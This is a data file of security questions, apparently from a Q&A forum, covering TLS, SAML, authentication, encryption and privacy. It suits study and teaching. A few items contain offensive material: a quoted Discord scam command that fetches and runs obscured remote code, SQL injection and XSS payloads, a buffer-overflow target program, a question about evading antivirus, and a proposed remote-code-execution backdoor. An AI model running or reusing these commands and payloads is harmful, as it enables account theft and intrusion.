instruction
stringlengths
24
29.9k
The page at: https://www.freedesktop.org/software/systemd/man/systemd.exec.html#Environment says: Environment variables set for a unit are exposed to unprivileged clients via D-Bus IPC [...] I don't have much experience with stuff as low-level as buses, so I'd hugely appreciate someone providing more details (or even...
PINs secured by TPM or similar hardware are secure even if short and only numeric because the TPM can throttle and lock after several attempts. I'm concerned about PIN reuse. I suspect most people are using the same PIN everywhere. Should I generate my users PINs?
I have an application server accessible from the Web, behind a reverse proxy. Its database is secured on a separate VLAN and the database admin password is strong. Say the application or the operating system has a vulnerability and an attacker performs an exploit and gains application rights. I assume he can them send ...
So the scenario is that we have a server shared with a number of users, with me being the server administrator and able to determine permission assignments. The server is running a service on loopback interface which is only protected by a plaintext password. However this service needs to be limited access to a subset ...
When we use mTLS, then client and server are authenticated. In this scenario, does it make any sense to send HTTP requests in signed tokens (like JWS)?
I'm trying to implement authentication with React and Node via REST API and getting really confused. In many articles I see the JWT way to handle the authentication, but I also see that this is not very secure, so many suggest to use sessions with HTTP only cookie, but how does this makes any sense if REST API is state...
Modern web browsers like Firefox, Chrome and Chromium based browsers are getting new features everyday. They also have PWA. Unlike Android, browsers on Windows, MacOS, Linux and BSD don't run inside containers. So, the webapp can gain access to the system more easily. How are the developers solving these issues?
Sometimes when we login in some services we should enter One Time Password or OTP that can be received via SMS, e-mail or a voice call. Among these options, there are some mobile apps that can generate the OTP offline without internet connection (so-called Authenticator apps). These apps often get some basic informatio...
I often hear of black-hat hacking discussed as if it was synonymous with illegal hacking. In other words, an act of hacking is black-hat iff it is illegal. Our own tag wiki for black-hat defines it as "the act of using computer security hacking for illegal means..." using the black hat==illegal definition, but an answe...
I've scanned a target with metasploit scanner/smb/smb_version and nmap -O. smb_version: Windows 2016 Standard (build:14393) Nmap: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows What is the OS of my target? I don't understand the difference.
I'm learning Web Pentesting using Juice Shop and I successfully used Burp Suite to generate an SQL injection payload in the repeater that exposed the plain text email and encoded password of the admin. By using Burp Suite Decoder, I decoded the user password that gives me the username, email in plain text, but the deco...
Traditionally an SSO SAML request for the authentication works as follows: The user agent sends the request to the SP asking for some resource SP sends a SAML authentication request to IdP. This can be done using a HTTP-Redirect 302 or 303 IdP authenticates the user (if not already done so..) and and sends a SAML resp...
When an SAML Authentication request is performed, let's say that the Service Provider uses an HTTP 302 redirect. The user agent is redirected to the IdP via a GET request. This URL is provided by the SP. In this case, is the request: Of type XML, and is it signed, and/or encrypted? Because as per my current understan...
When I use secret key which only one server know for symmetric encryption done with XChaCha20-Poly1305, is any benefit to use signing aswell? As long as only one server knows the secret, doesn't it also work as a signature? Are there any disadvantages of this solution? I also think that XChaCha20-Poly1305 would be more...
I am helping with an interesting data recovery issue. The laptop was running Debian 11 Linux with LUKS full disk encryption on a Samsung 970 Evo Plus 2TB SSD for quite many months. Suddenly the LUKS password input on boot stopped working. I connected the disk to another machine and noticed that attempts to mount it cau...
I am trying to find the offset for a buffer overflow attack for a simple C program using a Buffer overflow pattern generator #include <stdio.h> #include <string.h> int main (int argc, char** argv) { char buffer[500]; strcpy(buffer, argv[1]); return 0; } However, once I crash the program by inputting the ...
Referring to Introduction to differential power analysis (Paul Kocher, Joshua Jaffe, Benjamin Jun, Pankaj Rohatgi) [...] Because the amount of power used by a device is influenced by the data being processed, power consumption measurements contain information about a circuit’s calculations. Even the effects of a singl...
I am studying ethical hacking and I work in the cybersecurity department of a company. I have been testing a hacking program but some PCs delete this executable as soon as I plug in the USB and some don't. I have been trying some things but I can't get anything without an external antivirus. My questions are: How can ...
I'm looking to buy an ~8TB NAS* for my home office (I guess it's called a "private cloud"). I want to connect to it from Windows, Linux, Mac, Android, and iOS. How can I ensure that the network storage is encrypted at rest (and ideally in transit and in use)? It occurs to me that I ought to understand how to accomplish...
What are the patterns (best practices, whatever) to prevent brute force (and features alike) in stateless API architectures that keep the system stateless? Couldn't find anything regarding this topic. I want to keep the system stateless to keep scalability less painful and easier to maintain. And by scalability, I mean...
I have software written in C# and compiled as a .exe file. How can I read sensitive data (like usernames, passwords, etc.) from RAM while it runs?
I am using a TLS 1.3 enabled server (windows 2022) as the client (running my application on the server) and trying to communicate with a 2012 Windows server that is TLS 1.2 enabled. The initial client hello protocol keeps showing TLSv1 in Wire Shark despite it being enabled for TLS 1.3 and TLS 1.2. Please advise on wha...
I have a docker container that I run by adding the extra privilege of CAP_NET_ADMIN in addition to the default ones. If I don’t share the host net namespace with the container, the host namespace is not visible from inside the container which makes sense. Is there any way for a container with the cap_net_admin privileg...
I had a log from my web server like this [28/Aug/2022:12:57:02] "GET / HTTP/1.0" 200 1684 "" "<title>(.*?)<\/title>" What is this meaning and what exactly did the attacker want to do?
The security team at my company has set a limit on the number of headers a HTTP request can contain (not header size, but an actual hard count limit on the number of headers). A vendor has added a few headers for request tracing purposes, which has meant some requests are being denied as they exceed this limit. I can u...
Can my phone be "locked onto" by a person sitting in a vehicle outside my house and thereafter tracked? If a person simply gets my cell number, can the phone then be tracked? If I buy a pay-as-you-go phone card with a cheap phone that never leaves my person, and makes calls to very few people, will this prevent it from...
I'm currently trying to come up with an authentication process for an Android app, that talks with web backend using REST. At the moment the communication is secured by TLS (with cert pinning) and auth tokens - former makes the client trust the server, latter allows client to make calls to the server's API. Auth tokens...
There is an answered question which asks about the specifics and the answers are technical. I am looking for a conceptual answer in a ELI5 manner. A TPM is a hardware chip which stores critical keys. I.e. instead of keeping your private key as a file in .ssh/id_rsa it is placed within a TPM. This way the content of th...
I have a function that accepts the param url and passes it to exec() function getQueryValue(url, name) { name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]"); var results = new RegExp("[\\?&]" + name + "=([^&#]*)").exec(url); if (results) return decodeURIComponent(results[1].replace(/\+/g, " ")) } The...
I watched a documentary where hackers entered a victim's house by pretending to be from the ISP and then connected a box to a router in order to spy on all of the victim's traffic. Later, the hackers retrieved many passwords, e.g., iCloud and Gmail passwords. What is that box called? I was surprised that it was so easy...
I am trying to get the DKIM and SPF settings correct for a client who uses both GSuite and WordPress to send her emails. I added this dmarc: v=DMARC1; p=none; rua=mailto:l***@******ney.com; fo=1; adkim=r; aspf=r; (when I set the p to quarantine everything went to spam) I added a google domain key v=DKIM1 And I added th...
I'm doing blackbox testing on a website vulnerable to SQL injection. I put a ' on the search bar, and for some reason it didn't show an error. I put a ' on the search bar this time with a SQL statement. Now the error shows up. I tried to guess the query with my SQLi statement: w%' UNION SELECT ;#. It gave me an error, ...
I have seen a few system designs in my time and one question keeps cropping up: Is it bad practice to have 'super admin' - single user - or 'super admin' privileges in your system? By that I mean giving one or many users 'super admin' privileges so they basically never see a "you do not have permission" error and are n...
While reading the manual page of setresuid() a question arose about the purpose of Real UID. As mentioned in the man page: setresuid() sets the real user ID, the effective user ID, and the saved set-user-ID of the calling process. Unprivileged user processes may change the real UID, effective UID, and saved set-user-I...
I have developed an application that consists of various parts, each part communicating either via http and / or gRPC to one another. All communication has been switched over to TLS using a self-signed cert (CN=localhost) for development. However, this application will go into production and it will ONLY EVER run on lo...
I bought a wireless keyboard and mouse from a no-name brand (made in China) with a USB receiver. I'm currently wondering if the USB receiver could be compromised in a way, that my computer could get infected with malware or that allows someone to gain access to my computer. Should I be more careful with such USB sticks...
I am testing TLS 1.3 for my application. Can a TLS 1.3 enabled client communicate with a TLS 1.2 enabled server? If yes, what should be the record layer for the initial client hello? Currently, I am seeing TLSv1 record layer for some and Tlsv2 record layer for some interfaces. I see Tlsv1.3 record layer when client and...
I started reading "Hacking, The Art of Exploitation" and I am confused about some things regarding memory examination. When I disassemble main, I get an output of all memories where the individual assembly instructions are, right? Each instruction does not necessarily need to append the memory address by one, that is w...
This question relates to a comment on a question I posted at https://askubuntu.com/questions/1426688/sudo-with-a-userid-reverting-old-behaviour?noredirect=1#comment2484447_1426688 Specifically, in Ubuntu 18.04 I could run a command like "sudo -u #2000 command" where user 2000 is not in the passwd file, but that does no...
I am trying to talk with an API endpoint usually used by a secure app. I have managed to defeat the signature by extraction the private key from the app. All headers, bearer token and device token match. I did this by trial and error, checking the "real" requests, matching mine to it and checking again. I let the app i...
I would like to understand how the following problem is technically possible: In my company, we have a machine which I and several colleagues connect to. I regularly use x11 forwarding when I connect via SSH. (I receive the data with XQuartz on MacOS.) Today my colleague has connected to the machine via RDP and there, ...
In digest authentication we use something that is called cnonce. According to RFC7616: This parameter MUST be used by all implementations. The cnonce value is an opaque quoted ASCII-only string value provided by the client and used by both client and server to avoid chosen plaintext attacks, to provide mutual authenti...
I am learning on Tryhackme.com how to circumvent SSRF filter. There is a website, let's assume it is test.com. test.com has two access points. First is /private which is restricted, and /new-user-account which can be accessed by users to update their avatars. The goal is to access /private content Avatars have links b...
I am confused regarding this: I am working on a project but I want to use a one-time pad and want to launch a meet-in-the-middle attack on my new scheme for data security. As block ciphers are vulnerable to meet-in-the-middle attack, I am confused here that single encryption can also vulnerable to this attack. If I lau...
We developed an application (see https://embeetle.com). To avoid false positives, all our executables and DLLs are code-signed with an Extended Verification Code Signing Certificate from Sectigo. Despite this, our users complain that Norton flags and deletes our executables and DLLs immediately when they try to launch ...
I'm currently pentesting a website where I can set a URL on my profile. I'm trying to get an XSS to fire, but my javascript knowledge is a bit limited for this use case: Imagine this is your environment, and the only area you can edit is the highlighted area. Obviously this would fire when a user clicks it if the http...
I'm reading about SAML Authentication and I've come across 2 different mechanisms. But I'm not seeing any proper explanation anywhere of which flow is used when. If you're creating a SAML service provider application, then how do you decide which of these workflows to use in your SAML authentication flow? SAML Request...
This is very confusing. I am seeing 2 different things in various books and sites. A. Application gateway firewall scans layer 1 to layer 7 of the OSI model. B. Application gateway firewall only scans Application Layer (Or Application, Presentation and Session Layer) data. I asked many people and they, also, were not t...
I have recently found out about the existence of virtual machines they can be used to run viruses in an isolated environment from the host computer, like virtual box, vmware and sandboxie. However, I'm told that viruses can still escape the VM through shared folders with the host machine or through the network and infe...
I have read several sources indicating that RDP may have some vulnerabilities. Without delving into that, is RDP wrapper any more or less secure than the built-in RDP, when it is enabled? I read several sources, including (see below) 1) this, 2) this, and others. Many mention security issues with RDP Wrapper. On one h...
Our work e-mail server has started rewriting links in incoming mail through a redirecting gateway, for "security reasons": if I receive an e-mail containing a link to https://security.stackexchange.com, the link gets rewritten to https://es.sonicurlprotection-fra.com/click?PV=2&MSGID=202209021358500174760&URLID=1&ESV=1...
Scenario: You as a pentester are in a situation where you want to do multi hopping to jump over several ssh servers to your target. The systems are somehow outdated so you want to check what you can do. ssh -v localhost reveals the ssh version and you can deduce how you will perform the jumps. There are 3 main possibil...
Say, for example, you have a laptop with encrypted drives so data can't be pulled from those drives if they are physically removed from the device. If you close the lid of the laptop, thus locking it (presumably being protected with a strong password), and someone steals the laptop, can they pull data from the RAM of t...
I want to encrypt my system, but I don't want the hassle of having to put in two passwords on boot; I just want to put in one password on login that would decrypt the other partitions. I have heard that just encrypting /home is not wise, and that /tmp, and /var contain sensitive data as well, so I figured it might be a...
Simply put, the digest authentication goes as follows: The user tries to access some resource that requires authentication. The server responds with 401 and the www-authenticate header. The client responds with a request that includes the authentication header and the required fields. The server allows the user access...
With TLS 1.3 a PSK is established along with main secrets for the encrypted channel. Can this mechanism be employed to allow client authentication to occur on one device (say a mobile device), which would then transfer those secrets over a separate secure channel to another device (say a desktop app), which would then ...
Based on my understanding, the way signatures are generated in a SAML response is like this: Pick the SAML Response (without the signature block) Use the Service Provider's public key to generate a signature Generate the digest Add a signature block containing the signature + digest. Also add the Service Provider's pu...
If I am in a place (not at home) such as an educational or work environment and use their WiFi and send or receive Facebook messages or Instagram DMs, are my messages visible to the IT admins of that environment? These messages are sent through my personal mobile device (the device was not given to me). I believe Insta...
When I travel I see people using USB charging stations, however I don't trust them. Looking up on the subject, cyber security experts and government officials warn not to use them with a cable that can transfer data because of "Juice Jacking". I am not sure why they have them if they are a malware risk and can't unders...
I need to safely dispose of about 30 federal folders. That means 95% of the documents will be shredded and the rest stored. I bought a small shredder for private people (professional shredders are too expensive) and now I see that the effort for shredding is at least one hour per federal folder. In security recommendat...
There were hundreds of emails sent from my Hotmail account between 30 Aug to 1 Sept to many Hotmail and Outlook addresses with sECURED.shtml attachment of 764KB. Some emails were not delivered and deleted from my inbox automatically. How can I track who did this or which program/app is doing this? Is my email compromis...
I'm developing an app for a college project to detect fake products. The idea is to scan a QR or barcode and the app will automatically tell you if the product is either original or fake. How to avoid the duplication of a QR or barcode, so each one is unique and cannot be modified? I was thinking of implementing blockc...
I want to buy a pair of Bluetooth earbuds like these for use with my phone: https://www.amazon.com/Wireless-Bluetooth-Canceling-Headphones-Earphones/dp/B09P38XS9M?th=1 I want to know if devices like this potentially have the ability or have been reported to undermine personal privacy in any way, like the tech companies...
Let’s say I’m using http connection over a properly set up VPN with secure protocol and implementation. Then, most likely, the connection will be secure all the way until it exits the VPN server. But since the traffic is unencrypted, sensitive information is at risk if it’s intercepted after that point. I’m curious how...
I know a year ago when signing into school wifi there were a few options. First time I had to sign into a school wifi, so I did not understand the difference. Ended up choosing a wireless option. One of the sections for that option asked to select a certificate. The options were: use system certificates/do not validate...
I have a fundamental question about the harm of leaving a backdoor in one of my public websites / plattforms. I do not want to discuss the details why I wanted to do that, I just want to understand the problems with it. Let's assume I'd include an very easy backdoor like so, which is effectively a remote code execution...
I was trying to get verified on a 28k user server on discord. Verify channel directed me to this page and I followed the steps in order to get verified. The command was this javascript:fetch(atob('aHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvMTAxNDUzNDg5ODAzNzU2MzQ2Ny8xMDE0NTM0OTg0MTc1OTg0NjQwL3VkdW1iLnR4dA=='))...
I'm implementing encryption in one of my webextension which will encrypt locally stored data. I have a single master CryptoKey (AES-GCM) that encrypts everything. And this master key is then encrypted (using crypto.subtle.wrapKey) with: user password randomly generated "recovery code" Both are hashed using PBKDF2 wit...
I have a 500 GB SSD drive with Windows 10 installed, and a 250 GB SSD drive with Ubuntu 22.04 installed. I use the latter mainly to maintain my privacy; Ubuntu is like my personal computer, with private stuff. I don't really use Windows, but I need it for my job. My question is: Can Windows access my personal files fro...
I work as a consultant for a large corporation that uses some software, in which I have found a security vulnerability. I notified both my client and the software vendor about a year ago. They referred the case to their account manager (!), who (in a polite way) said: "Your consultant is full of shit." Luckily, the cli...
They are blocked by our email gateway, but are also needed for some workflows. Can these files even contain malicious content and possibly execute code?
I made a very simple dashboard with HTML/PHP/JS (and a MySQL database) where some users (after a secure login with username and password) can access and insert some activities with details and attach a file in PDF format. My dashboard is in a directory like /var/www/my-dashboard and inside there is another directory wi...
I remember ten years ago in Android I would go to settings - encrypt disk - to protect all my data. That was different to a screen lock password. However, I just bought a new Samsung Galaxy A23 phone and there is no option anywhere in settings to encrypt the disk. There is only a screen lock (face, fingerprint, pin, pa...
About a month ago, a friend got a security warning about some stranger signing into his Google account, so we changed his password to a strong randomly generated password with all characters (I think it was 20 characters long). Today we got a new security warning about the same unknown account signing in again, what ca...
In the Debian 9 server I have, these are the least restrictive permissions I can set for SSH login with public key to work: /home/user 775 /home/user/.ssh 775 /home/user/.ssh/authorized_keys 644 Any less restrictive permissions results in SSH asking passwords. But in my...
I'm quite new to the security topic and encryption. Our software has to comply with FIPS 140-2. I have the following method (C#). In this case, the algorithm is AES256. What concerns me, is that we use SHA1 to hash the key. It is acceptable to use SHA1 here, or is it breaking FIPS compliance? Thanks! public static Serv...
I've found a question with an answer here on Security StackExchange or on Unix StackExchange, but I can't find it anymore apparently :( If you find this answer already, help would be appreciated, I already searched both places extensively. What I want to achieve is to have two different cloud providers and have the enc...
I have a windows 10 host machine that is connected to my LAN with other devices. It runs a VMware Ubuntu virtual machine that is connected to the guest wifi and has shared folders between vm and host disabled. I thought that this would protect the host machine and other devices on the LAN from potential malware since t...
When I installed the openvpn server following these instructions, the work flow was like below Create ca.crt Create server.key and cert Create client.key and cert As far as I know, when A and B are communicating with each other, A needs to keep A's private key secured and publish A's public key. So, B can encrypt the...
According to my understanding of this document, Yubikey is capable of running ed25519-sk and gpg-agent. Which one is more secure? Obviously, ed25519-sk wouldn't work, if the SSH server is old, but other than that, is there any downside of using ed25519-sk vs. gpg-agent?
I don't consider NAT a security measure at all but here is my teachers reasoning of how NAT provides security. My course has been appalling and this reasoning is just laughable to me. This is a £3000 course and this is his explanation. "If you cannot see or ‘ping’ an internal IP address range, you cannot ‘see’ any dev...
We are not IT security specialists but we are very curious to know more about a scam we received through mail. We received a mail with a HTML file attached. The subject of the mail looked very clickbaity. The title was: Webshop will removed from server now , Update attached to stay active now.. When you open the attach...
Let's say that VMWare or VirtualBox is running the newest version of Debian. I'm not sure if it's possible for any program in the guest to continue running, stealing data from the host, even after the guest system has shut down.
I'm trying to write and implement an ISO 27001 compliant information security management system (ISMS) for the company I work for. Currently we have our HQ the UK (2 office locations plus a test site) and an additional office in Europe. Currently the goal is to have the ISMS applicable to the UK locations and the EU lo...
Imagine a web app that, on the login page, has a password field which does not allow user input, but just displays a client-only generated password that is reasonably strong, with a button to re-generate the password. In this approach, instead of leaving it to the user to supply a strong password (either by typing it i...
I am writing the iplock tool to help me setup my Linux firewall. For the most part, my current strategy, since I don't yet use IPv6 much, is to pretty block everything IPv6 ("simple"). I would like to switch all my public facing services to using IPv6. So for that to happen, I first need a good plan for my firewall. I ...
I have a web app that communicates with a backend server, and the users of the web app are organisations that each have a single login for the entire organisation. The app is meant to be used for example on TV's in the cafeteria to display todays activities and such. However, it also has an "admin" part to it, where th...
Quite a common use of a git pre-receive hook is to scan for sensitive information and then block from entering the repository. It appears from looking at examples, that conventionally, you are given arguments of the parent and new sha. Typically, you then use those to run a git show or git diff to see the real text and...
Are the updates signed? Or can anyone make a piece of software to do this?
I have several faulty USB drives and I like to return these to the vendor to get my money back - but without the vendor being able to access any data which might be still on the drives Problem is, the USB drives won't allow me to access the data, so I can't format the drive, I can't wipe out data and I can't copy or de...
Almost every week you can read about attacks performed through compromised npm libraries. The npm ecosystem is vast and unmanageable and for it-sec people it is frustrating to deal with all the possible threats that come with using npm. There are a lot of best practices out there how to deal with third party libraries ...
My threats are: MitM basically, eavesdroppers I have a Nextcloud instance and I was thinking of mounting sshfs locally and selecting local as the external storage type and then putting the data there, but is it the most secure option? Nextcloud currently lists these options as available for external storage mounting: ...
If I go on a website, can the owner see what Google and Youtube account I use (on the same browser or not) even if I don't give that information away? I ran one of those tests from privacy.net and it showed me that they knew I was logged on both Gmail and Youtube. But can they see which account?
I noticed I can save a webpage as .webarchive file from my iPhone Safari while I’m offline. Basically what I did was to open the website, log in, go to the specific page, then when it’s finished loading, I turned off my internet connection. Then while the internet is completely off I tried Airdrop the page as webarchi...
I want to securely Transfer my Dropbox files to Koofr. What's the best way to do this? Here some additional information: My Dropbox file are not encrypted. Koofr can connect directly to Dropbox. Do I need to encrypt my Dropbox files before any transfer takes place? Dropbox to my local machine to Koofr or Dropbox to K...
This is concerning an android device (not sure if that information helps, since Apple works differently). When logging into a wifi network, there will be sections that ask for different information. One is to choose a certificate. The options for a certificate can vary between networks. Choosing a specific certificate ...
Can at this code the input.value be a Dom-XSS sink? let qs=new urlsearch(location.search); let paramValue=qs.param; let input=document.getElementByID('inputField'); input.value=paramValue; I tried these payloads, but they don't work. >< script>alert(1)< /script> onClick=alert(1) I wondered because when the payload...
I am designing an ecosystem of web applications that uses an Open ID Connect (OIDC) authorization server. The users authenticate to the authorization server using the Authorization Code Flow with Proof Key for Code Exchange (PKCE). This authorization server (in this context Keycloak) should provide the following servic...
My question is in regards to user data stored within mobile applications, after dealing with security issues of hacked firmware and manipulated apps. Is there a system that prevents modification to the manifest file and privileges of an application? Something like this would also be beneficial to the developer's work.
SAML Response + SAML Assertion are both signed individually while sending back the response. But the SAML Response contains the SAML Assertion. The latter is actually a subset of the former. Then what is the use of signing both separately? In other words, if we sign the hash of the SAML response then it automatically v...